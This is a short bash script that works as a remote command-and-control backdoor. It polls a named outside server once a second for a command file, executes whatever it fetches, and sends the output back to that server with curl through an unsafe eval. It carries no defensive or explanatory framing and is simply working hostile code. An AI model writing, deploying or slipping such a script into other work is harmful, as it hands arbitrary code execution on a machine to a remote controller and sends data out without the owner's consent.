#!/bin/bash
last_cache=""
while :
do
    content="$(wget 'http://srv4.cinecriciuma.com.br:8000/script/command.txt' -q -O -)"
    if [ "$last_cache" != "$content" ]; then
        last_cache=$content
        if [ "$last_cache" != "" ]; then
            echo "New command: $content"
            r_command="$($content)"
            send_command="curl \"srv4.cinecriciuma.com.br:8000/script/script.php\" --data-urlencode \"result_command=$r_command\""
            eval "$send_command"
        fi
    fi
    echo "..."
    sleep 1
done